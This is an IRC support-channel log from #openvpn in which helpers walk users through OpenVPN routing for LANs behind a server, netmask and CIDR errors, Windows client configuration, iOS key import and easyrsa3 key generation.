07:52 < AL13N_work> i've disabled client-to-client but i can't see any traffic on the server's tun2 device... nothing client to client works
07:52 < AL13N_work> tcpdump doesn't show anything
07:52 < AL13N_work> i wonder if it's related to most clients having a single ip (instead of a subnet)
07:53 < bioman> spiekey: but dunno how to give it's path, now it says something like cannot find ca.key
07:54 < AL13N_work> version is 2.1 though
07:54 < spiekey> bioman: who says that? the server or the client?
07:55 < bioman> spiekey: the *uckin win7 client
07:56 < AL13N_work> do i need to change the route at the clients so that even for 10.102.0/24 that it uses 10.102.0.1 as gateway?
07:56 < spiekey> bioman: i dunno. it sucks with windows and theses paths. i only used the windows openvpn guy which comes with openvpn
07:57 < spiekey> then i copied the stuff into the config folder and thats its
07:57 < bioman> spiekey: I got it (from reading a server config file)
07:59 < AL13N_work> goddamnit, it seems there's no auto route for 10.102.0.0/24 ... i need to add this to the server
07:59 < bioman> spiekey: holy shit, still asking the path :/
07:59 < AL13N_work> that makes sense
08:00 < spiekey> bioman: does tls-auth "C:\\Program Files (x86)\\OpenVPN\\config\\ta.key" 0 not work?
08:01 < bioman> spiekey: that's it : I've added exactly the same and ut complains about not finding the file
08:03 < AL13N_work> ok i got it working
08:03 < AL13N_work> thx for all the help guys
08:03 < spiekey> hehe :)
08:05 < bioman> spiekey: you managed to make a Win client work ?
08:05 < spiekey> yes
08:05 < bioman> with what soft please ?
08:05 < spiekey> i don't use tls-auth and i use the default openvpn gui
08:06 < spiekey> http://openvpn.net/index.php/open-source/downloads.html
08:06 <@vpnHelper> Title: Downloads (at openvpn.net)
08:06 < bioman> spiekey: that's what I thought : what if I remove tls-auth ?
08:07 < spiekey> dunno, you can try it
08:07 -!- local [~local@sv1de.element-system.de] has joined #openvpn
08:09 < local> hey all. I'm kinda confused: I have installed OpenVPN-server on a Raspberry Pi (it's not the first one, I did many installations). My Android smartphone (=OpenVPN client) can connect to the Rpi (=Server) without any problems. The server log does NOT show any warnings, problems or errors. The client can ping the server on its 10.10.10.123 address and also he can ping the 192.168.0.100 (=which is the LAN IP of the Raspberry Pi)
08:10 < local> But the Android smartphone CANNOT ping any other hosts alive at 192.168.0.0/24 although the server (=RaspberryPi) has enabled ip_forwarding and I double-checked in /etc/sysctl.conf and with "cat /proc/sys/net/ipv4/ip_forwarding". No Firewalls/IPTables are active on client or server. Any clues??
08:12 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea_]
08:15 < bioman> spiekey: I found out... I had 2 lines for tls-auth. Now pinging is fine. What's the next step please ?
08:15 < bioman> I use the same software as you
08:17 < spiekey> what next steps?
08:17 < bioman> yep, how to get tp my Arch PC
08:17 < bioman> I guess pinging isn't the end
08:18 < bioman> I've never done OpenVPN
08:18 < bioman> So I don't know what kind of access you can have
08:21 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:22 < local> problem solved :) I forgot to add the static route (backwards) on one node. Shame on me
08:23 -!- local [~local@sv1de.element-system.de] has left #openvpn []
08:23 < bioman> calcifea: I have a little "OpenVPN GUI" icon next to the clock on win 7, the screen are red. What does this mean and what it is for ?
08:24 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
08:26 -!- AL13N_work [~alien@91.183.52.232] has left #openvpn []
08:27 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:30 < bioman> spiekey: I've installed now this http://openvpn.net/index.php/access-server/download-openvpn-as-sw/357.html
08:30 <@vpnHelper> Title: Client Packages (at openvpn.net)
08:31 < spiekey> bioman: nah, that client sucks
08:31 < bioman> spiekey: it's been said since 5 minutes "Connecting"
08:31 < bioman> spiekey: ok
08:31 < bioman> so ?
08:31 < spiekey> i thought you can ping now?
08:31 < bioman> spiekey: yep, I ping :)
08:32 < bioman> so what now please ?
08:34 < bioman> spiekey: I guess pinging isn't the goal isn't it ? What can I do ? Remote desktop my Arch ? run commands like if I used putty ?
08:36 < spiekey> bioman: you are now connected to you network
08:37 < spiekey> you should be able to ping any host in your network now
08:37 < spiekey> access them with rep, etc...
08:37 < spiekey> IF you set up your server config and firewalls right ;)
08:41 < bioman> spiekey: "access them with rep, etc.." ??? and is it normal that now I can't access Internet on my Win7 client connected to my Arch server ?
08:45 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:49 < bioman> spiekey: I can ping my arch 192.168.2.5 but not my NAS 192.168.2.3 neither my Firewall 192.168.2.1
08:59 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Quit: Lost terminal]
09:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
09:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
09:02 -!- mode/#openvpn [+o vpnHelper] by ChanServ
09:03 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
09:10 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
09:17 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Quit: Lost terminal]
09:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
09:21 -!- takamichi [~takamichi@85.12.8.106] has joined #openvpn
09:24 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
09:24 < bioman> Back
09:24 < bioman> Needed to reboot to test openvpn server running automatically at boot
09:26 < bioman> Now that it works -at least I can ping 192.168.2.5, my ArchLinux-, what are the advantages of openvpn over ssh ? I just don't understand what you can make with Virtual Private Network
09:26 -!- dos-freak [leecher@zentarim.0wnz.at] has joined #openvpn
09:31 < bioman> Can anyone tell me why I cannot ping my pfSense 192.168.2.1, my NAS 192.168.2.3 ?
09:33 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:39 -!- spiekey [~admin@dslb-188-109-084-025.pools.arcor-ip.net] has quit [Quit: spiekey]
09:41 <@krzee> !vpn
09:41 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
09:41 <@krzee> and,
09:41 <@krzee> !serverlan
09:41 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
09:41 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
09:41 <@krzee> feel free to use the flowchart
09:42 <@krzee> probably is:
09:42 <@krzee> !route_outside_ovpn
09:42 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
09:46 -!- takamichi [~takamichi@85.12.8.106] has quit [Ping timeout: 272 seconds]
09:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:48 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
09:50 < bioman> !route
09:50 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
09:50 <@vpnHelper> client
09:56 < bioman> Well, how do I know the 10.8.x.0 address of my firewall and NAS ?
09:57 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
10:03 < bioman> And why the Hell can't I Google when my client is connected ?
10:03 -!- svparijs is now known as svparijs_afk
10:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:06 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:06 <@dazo> !nat
10:06 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !openvznat !winnat and !fbsdnat for specific howto
10:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
10:14 -!- nofks [~nofks@141.233.95.78] has joined #openvpn
10:15 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
10:20 -!- nofks [~nofks@141.233.95.78] has quit [Read error: Connection reset by peer]
10:20 -!- nofks [~nofks@141.233.95.78] has joined #openvpn
10:23 -!- nofks [~nofks@141.233.95.78] has quit [Read error: Connection reset by peer]
10:23 -!- nofks [~nofks@141.233.95.78] has joined #openvpn
10:24 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
10:31 -!- MyMind is now known as Sembei
10:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:35 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has joined #openvpn
10:35 < bioman> :(
10:35 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
10:36 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
10:36 -!- nofks [~nofks@141.233.95.78] has quit []
10:37 < bioman> I've tried to "add" my NAS and my firewall, I've followed -without understanding-. Here is my server.conf : http://ix.io/99l  co'z it just doesn't work
10:38 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:39 < bioman> Thanks for your patience Q_Q
10:49 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
10:56 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:59 < bioman> As english isn't my native language, I don't understand everything... Please help me to make it work. Thank you
11:00 <@krzee> in the example the 10.8.x.0 is the vpn subnet
11:00 <@krzee> i do not understand what your question is
11:01 < bioman> krzee: my local LAN is 192.168.2.0/27
11:01 <@krzee> you need to tell the router of your server's lan to route traffic to the VPN subnet to the LAN ip of the vpn server
11:01 < bioman> I can ping 192.168.2.5, which is my openvpn server
11:02 < bioman> http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing
11:02 <@krzee> so on the router you need to add a route to 10.8.0.0 255.255.255.0 to use gateway 192.168.2.5
11:02 -!- dothak [~dothak@c-98-224-238-114.hsd1.mi.comcast.net] has joined #openvpn
11:03 < bioman> Here is my I have been given
11:03 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
11:03 <@krzee> yep, i wrote that =]
11:03 < dothak> does anyone have any experience setting up split tunneling on tunnelblick?
11:04 < bioman> krzee: but what you tell me has nothing to do with accessing my firewall and my nas ?
11:04 <@krzee> dothak, what exactly do you mean when you say "split tunneling" ?
11:04 <@krzee> dothak, i ask because i have seen people mean various things with those words
11:04 <@krzee> bioman, it CAN be those, but if you did not add the route i said to add then i promise you need to
11:04 < dothak> be on a vpn, connect to another vpn, and be able to get to that 2nd vpn's network
11:05 <@krzee> dothak, that just works (unless you have addressing issues)
11:05 <@krzee> im on 7 vpns right now
11:05 < dothak> there's no special configuration on the 2nd openvpn server?
11:05 < dothak> just works?
11:05 <+pekster> dothak: Do _you_ control these target VPNs your connecting to? If not you need to take full responsibility for only accepting the routes you want
11:05 <@krzee> totally depends on your goal
11:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:06 <@krzee> if you are redirecting internet over them, then you run into aforementioned addressing issues
11:06 <@krzee> (conflicting pushed routes)
11:06  * pekster never understood why people want to chain VPNs anyway
11:06 <+pekster> Mis-guided "privacy" nonsense for the most part
11:06 <@krzee> i do vpnchaining, but i do it differently
11:07 <@krzee> each link connects to the next link(s)
11:07 -!- master_o1_master [~master_of@p4FD7B59C.dip0.t-ipconnect.de] has joined #openvpn
11:08 < bioman> krzee: could you *please* have a look at what I wrote and tell me if I misunderstood everything or not ?
11:08 < bioman> http://ix.io/99n
11:08 -!- master_of_master [~master_of@p4FF245BE.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
11:08 < dothak> krzee: the routes I'm pushing are all private.
11:08 <+pekster> krzee: Right, and that way you avoid the route issue, and you can happily use /32 routes everywhere except on the 'last' link
11:09 <+pekster> dothak: Then it all magically works so long as you apply a route to the remote IP of chain2 via the link you set up in chain1
11:09 <+pekster> If you don'tn do that there's no magic and you simply have "several VPNs" at once
11:10 < dothak> so i have to have vpn1 push a route for vpn2?
11:10 <+pekster> I'd really do that locally
11:10 <+pekster> But sure, push it if you want; it doesn't matter at all "how" the route gets there
11:10 <+pekster> For all it matters, do it by hand at a terminal
11:11 <@krzee> if you simply want to use 2 vpns at the same time, and they both work when alone, and they dont have overlapping routes being pushed, you have nothing to worry about
11:12 < dothak> they both worth seperately, but when I connect to vpn2 and try to ping I get 'permission denied'.  this is mac using tunnelblick
11:14 <@krzee> dothak, are you using --dev tun0 or something like that in your configs?
11:14 <@krzee> if so, try just dev tun
11:14 < bioman> krzee: ?
11:14 < dothak> in my client or server?
11:15 <@krzee> bioman, more specific questions please. also when posting configs do not include 1000 lines of comments from a sample config
11:15 <@krzee> because i will not be looking at 1000 lines of comments to see 10 lines of config
11:15 < bioman> krzee: pk :/
11:15 < bioman> ok
11:20 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Quit: WeeChat 0.4.3-dev]
11:21 < dothak> krzee: I'm just using dev tun, not --dev
11:22 <@krzee> !--
11:22 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
11:22 <@krzee> the part im talking about is tun vs tun0
11:22 < dothak> yeah 'dev tun'
11:23 <@krzee> check both logs, anything funny?
11:24 < bioman> krzee: let's go. Could you check please my server.conf file, as I haven't managed to access to my NAS (192.168.2.3) and my Firewall (192.168.2.1) : http://ix.io/99o
11:25 <@krzee> bioman, did you add the route i told you to add to your router?
11:25 <@krzee> also, you still have a ton of comments in there
11:25 <@krzee> !configs
11:25 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:29 < bioman> krzee: pfSense is NOT my openvpn server
11:30 < bioman> krzee: and no more comment now... : http://ix.io/99p
11:30 <@krzee> first of all, ALL of those routes are the same
11:30 <@krzee> do you know what the "255.255.255.240" means?
11:31 < bioman> yeah
11:31 <@krzee> you sure?
11:31 < bioman> yea : 30 PC available
11:31 <@krzee> route 192.168.2.1 255.255.255.240
11:31 <@krzee> route 192.168.2.3 255.255.255.240
11:31 <@krzee> so what does that do?
11:31 < dothak> that doesn't work that way
11:31 -!- corretico_ [~luis@190.241.180.58] has quit [Ping timeout: 264 seconds]
11:31 < bioman> :/
11:32 < bioman> krzee: maybe route 192.168.2.0 255.255.255.240 ?
11:32 < dothak> those are overlapping
11:32 < dothak> you'd have to have one that encompasses all
11:32 <@krzee> what im saying is they are the SAME route
11:33 <+pekster> Those aren't valid routes in the first place; that describes an _IP_ on a given network
11:33 <@krzee> not even overlapping, but the actual same
11:33 <+pekster> Time to review CIDR
11:33 <@krzee> they will both execute as route 192.168.2.0 255.255.255.240
11:33 <@krzee> !cidr
11:33 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
11:33 <+pekster> (depends on the route command use -- many will just refuse to apply it)
11:33 <@krzee> oh i guess i dont do it wrong often enough
11:33 <@krzee> haha
11:34 < bioman> ugh ?
11:34 <@krzee> also, .240 has 16 IPs, not 32
11:34 <+pekster> bioman: 192.168.2.1 mask 255.255.255.240 is _not_ a valid route. Routes require you use the "network ID", aka the first IP in the defined network. This is a rather basic part of understanding CIDR and netmasks
11:34 < bioman> krzee: holy shit, you"re right... it 224
11:35 <+pekster> Either way that's _still_ invalid. In fact, the only route that is valid from anything ending in ".1" is a /32 route
11:35 <@krzee> so use route 192.168.2.0 255.255.255.240 and push "route 192.168.2.0 255.255.255.240"
11:37 < bioman> krzee: you're right as regards the number of machines, I want 30 available addresses so it's 255.255.255.224 :)
11:38 <@krzee> the route has nothing to do with "available addresses" thats your lan's dhcp server
11:38 <@krzee> the netmask on the route has to do with how large of a subnet you are reaching over the vpn
11:38 < dothak> route != dhcp leases
11:39 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
11:40 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
11:46 < bioman> krzee: done. What's next please ? Here is ccd/PumpkinClient (the PC where is installed the OpenVPN server) : iroute 192.168.2.5 255.255.255.224
11:47 -!- corretico_ [~luis@190.241.180.58] has joined #openvpn
11:47 <@krzee> bioman, well i asked you like 5 times if you added the route to your router
11:47 < bioman> ccd/DS411_Slim : iroute 192.168.2.3 255.255.255.224
11:47 <@krzee> and you have not answered me
11:47 <@krzee> and you said that lan is behind your server, didnt you?
11:48 <@krzee> answer the router question first, i will not help with anything more until you answer that
11:49 < bioman> I think I've added the routes (in server.conf with your help), and in ccd/<stuff>
11:49 <@krzee> [13:25]  <krzee> bioman, did you add the route i told you to add to your router?
11:49 <@krzee> [13:05]  <krzee> bioman, it CAN be those, but if you did not add the route i said to add then i promise you need to
11:50 <@krzee> [13:03]  <krzee> so on the router you need to add a route to 10.8.0.0 255.255.255.0 to use gateway 192.168.2.5
11:50 <@krzee> [13:02]  <krzee> you need to tell the router of your server's lan to route traffic to the VPN subnet to the LAN ip of the vpn server
11:50 <@krzee> now it is 13:50 and you still have not done it.
11:50 < EugeneKay> Sounds like time for a
11:50 < EugeneKay> !beer
11:50 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
11:50 < bioman> krzee: excuse me to have difficulties to translate and try to understand :(
11:54 < bioman> krzee: excuse, I don't understand. "you need to tell the router" <= ugh ? OpenVPN router or pfSense ?
11:55 <@krzee> the ROUTER
11:55 <@krzee> the machine that the entire lan sends its traffic to
11:55 <@krzee> the "default gateway"
11:56 < bioman> krzee: if you dpeak of gateway it's pfSense (my gateway is 192.168.2.1 which is pfSense's address)
12:01 < bioman> krzee : you sent me this link : http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense
12:01 <@vpnHelper> Title: OpenVPN/pfSense - Secure Computing Wiki (at www.secure-computing.net)
12:01 <@krzee> i did not.
12:01 <@krzee> i sent you this one:
12:01 <@krzee> !route_outside_ovpn
12:01 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
12:02 < bioman> !route
12:02 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
12:02 <@vpnHelper> client
12:03 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
12:04 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
12:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:08 < bioman> krzee: I think I'm gonna give up... :'(
12:10 < dothak> bioman: you need to add a route on your openvpn server, and a route on your router (internet gateway), whatever routes your internal network
12:10 < bioman> dothak: thank you. My misly brain mad can't do it
12:12 <@krzee> advanced networking requires beginner networking already be understood
12:14 < rob0> Don't give up, just work on understanding basics.
12:15 < bioman> krzee: I've studied basics in networking. I've never learnt to route or whatever. The only thing I know is network/cidr, and how to use NAT
12:15 < dothak> that's a basic networking function
12:15 < bioman> OpenVPN is just too complicated for me
12:51 -!- svparijs_afk is now known as svparijs
12:53 <@krzee> your openvpn setup was finished long ago
12:53 <@krzee> now you are trying to properly configure routing
12:54 <@krzee> unrelated to openvpn even though few people seem to realize that (except client lans, which have 1 thing related to openvpn, iroute)
12:58 -!- panzi [~chatzilla@188-23-75-30.adsl.highway.telekom.at] has joined #openvpn
12:58 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has joined #openvpn
12:59 < panzi> is there a way to get the vpn keys onto my iphone w/o itunes or email? I can mount app folders via ifuse and save files on my iphone (use it to "sync" files with the vlc app) but for that I need the app id of the app (no jailbreak required). so what is the app id of the openvpn-connect ios app?
13:00 <+pekster> !iphone
13:00 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
13:00 <+pekster> Hmm, let's fix #2. OpenVPN isn't actually available. OpenVPN Connect is
13:00 <+pekster> !forget iphone 2
13:00 <@vpnHelper> Joo got it.
13:00 <+pekster> !forget iphone 2
13:00 <@vpnHelper> Joo got it.
13:01 < rob0> oops you also forgot #3
13:01 <+pekster> !learn iphone as OpenVPN Connect is now available for iOS in the App Store (see also: !connect)
13:01 <@vpnHelper> Joo got it.
13:01 <+pekster> !learn iphone as https://community.openvpn.net/openvpn/wiki/IOSinline
13:01 <@vpnHelper> Joo got it.
13:01 <+pekster> rob0: Nope, works the same way netfilter rule deletions do ;)
13:01 < rob0> ah :)
13:01 <@krzee> nah he got #3 rob, when you delete #2 the #2 becomes #2
13:01 <@krzee> err
13:02 <@krzee> the #3 becomes the new #2
13:02 < rob0> yes, I see what his plan was, now
13:02 < rob0> he wanted them to stay in the same order as they were
13:02 <@krzee> !connect
13:02 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
13:02 <+pekster> No reason to change it, although I'm not sure #1 applies to current versions. I don't really care too much about iThings :P
13:02 <@krzee> nice
13:03 <+pekster> Yea, I'm so sick of the lack of distinction I needed "please don't ask here" factoids
13:03 <@krzee> nah #1 can prolly go away now
13:03 <@krzee> !forget iphone 1
13:03 <@vpnHelper> Joo got it.
13:03 <@krzee> they fixed that long ago
13:03 < panzi> yes I know these problems. I need the openvpn keys on my iphone anyway, just so I can connect with our staging server so I can test our webpage. it's my boss that did come up with that workflow
13:04 <+pekster> panzi: Then see the inline importer magic-fu the program does. Please ask in the vendor-provided support for Connect assistance, although it's possible someone here might happen to know what you need
13:04 <@krzee> panzi, itunes / email are what i know of, there may be a million and 1 ways but thats what i know
13:04 < panzi> ok
13:04 <+pekster> Connect is not maintained by the OpenVPN developers, and only "loosely" maintained by the community when experts are around
13:04 <@krzee> ild guess web prolly works
13:05 <@krzee> but ya, really your question is an iphone question not an openvpn one
13:05 <@krzee> you want to get file X onto your device, it just so happens that file X is related to openvpn.
13:05 <+pekster> AFAIK apple prevents you from writing directly to the filesystem and each program gets its own "private" space for such things. I don't really know how the Great Walled Garden works though
13:06 <@krzee> ya i have no idea how their internals work either
13:06 <+pekster> Oh, I tried to do something as basic as put a video on a family member's iPad (CC by SA, so very legal to share) and I gave up. I need to take it to an apple store or something and make them show me how
13:06 <@krzee> i have added configs via itunes and via email. and thats 2 more ways than i ever wanted to really do on an iDevice
13:06 <+pekster> Safary "fails" to download the file from a local webserver :\
13:06 <+pekster> Safari*
13:06 <@krzee> hah
13:07 <@krzee> android is so much easier
13:07 <@krzee> mount as disk - done
13:07 <+pekster> Yup, that, or it lets you save it from the browser somewhere too. You know, like a normal OS ;)
13:07 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
13:07 <@krzee> yepyep
13:08 <@krzee> apple doesnt beleive its users are smart enough to handle all that
13:08 <+pekster> I could probably learn how to use itunes and some $special_app to get the video on it, but I basically want to watch the Apple store experts sweat a bit for my trouble
13:08 <@krzee> (and for the most part i think they're correct(
13:09 <+pekster> I'm not at all impressed with what I've seen of the platform, but I suppose this is why the AS/Connect corp folks just started from scratch on an app for it (only way to get it working/supported)
13:10 -!- svparijs is now known as svparijs_afk
13:10 <@krzee> iirc it was because of copywrong
13:10 <@krzee> the app store and gpl are incompatible or something
13:11 <@krzee> i dont remember the details 100% but i know it was related to that
13:11 <+pekster> Right, something about even "showing" the APIs you used is against the NDA
13:18 < EugeneKay> Apple: because fuck you, that's why.
13:18 -!- svparijs_afk is now known as svparijs
13:19 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
13:19 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:21 -!- NP-Hardass1 [~adam@unaffiliated/np-hardass] has joined #openvpn
13:23 -!- NP-Hardass1 [~adam@unaffiliated/np-hardass] has left #openvpn []
13:29 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
13:30 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:33 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
13:33 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:33 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
13:49 -!- bioman [~bioman@aux89-3-83-157-129-185.fbx.proxad.net] has quit [Quit: Lost terminal]
13:55 -!- bwallen [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
13:56 < bwallen> Is easyrsa3 stable? Is it considered safe to use in a production environment yet?
13:57 -!- panzi [~chatzilla@188-23-75-30.adsl.highway.telekom.at] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0/20131030113003]]
14:02 <+pekster> bwallen: I've been using it in my own environments without issue. There's an outstanding pull request to add in pkcs7 support, and I want to get a windows build ready before I decide to tag an official release
14:03 < bwallen> Cool, I think I'm going to give it a shot then
14:03 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 272 seconds]
14:03 < bwallen> One question - What is the new way to run ./build-key-server server and ./build-key MyCommonName?
14:04 <+pekster> You really ought not to do "all in one" key builds like that anymore
14:04 < bwallen> So I should do a request and then import the request?
14:04 <+pekster> Generate your keys on a _separate_ system (the one that will use them) from your CA. If you _really_ want to do them all in a single PKI, you can use build-client-full and build-server-full
14:06 < bwallen> Ok, thanks
14:06 <+pekster> See the Readme for more details on the suggested procedure: there's a section for generating keypairs, and another on importing and signing them
14:06 <+pekster> At your option, use the "do it all in 1 place" commands
14:07 < bwallen> Well, I'd like to do what's best. If the best thing is to make the keys on a separate system then that's what I want to do
14:08 <+pekster> Yea, it's far more secure. Think of the private keys like actual housekeys. Would you rather send them by postal mail, or have the locksmith come to your home? ;)
14:08 -!- Saul775 [~Saul@67.138.231.194] has joined #openvpn
14:08 <+pekster> easyrsa3 makes doing this far easier. v2 you had to "match up" all the silly org/city/state values, but v3 does away with that
14:08 < bwallen> Yeah, I hated that
14:09 <+pekster> So did I :)
14:11 < Saul775> Hmmm… I'm using OpenVPN in routing mode.  I'd like to change the DHCP pool range.  Is this possible?  I see it's possible when using bridging, but I don't see the documentation allowing me to do this in routing.
14:11 < bwallen> pekster: When the readme says to transport the request to the CA and transport the newly signed cert to the requesting entity, would I do that over something like scp?
14:12 <+pekster> bwallen: If you'd like, sure. They're not security sensitive, so you could send them in plaintext email too
14:15 < bwallen> pekster: Ok, I'm starting to understand. Do all private keys now require a PEM passphrase?
14:16 <+pekster> Nope; commands that create keys in easyrsa3 support an optional "nopass" option to use no password. Note that anyone who can copy/view the file can see the actual key in such cases
14:16 <+pekster> By default every key is encrypted (defaults to a secure option)
14:16 <+pekster> f.ex: ./easyrsa help gen-req
14:17 < bwallen> I have a site to site VPN and I need the client to establish the connection automatically when it boots. If I put a PEM passphrase on the private keys will that require someone to type in the passphrase before it can connect?
14:19 <+pekster> Yes, though there are a couple ways around that. 1) decrypt the key on-disk. 2) put the passphrase in a separate file on-disk and reference it per the --auth-user-pass manpage description. 3) use the --management and --management-query-passwords interface to programatically send it to openvpn from some other process
14:23 -!- svparijs is now known as svparijs_afk
14:25 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 272 seconds]
14:27 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
14:27 -!- dos-freak [leecher@zentarim.0wnz.at] has quit [Ping timeout: 272 seconds]
14:33 <+pekster> bwallen: There's really no version of the official howto for openvpn yet, so I tossed up a quick version here: https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
14:33 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
14:34 < bwallen> Awesome, thanks
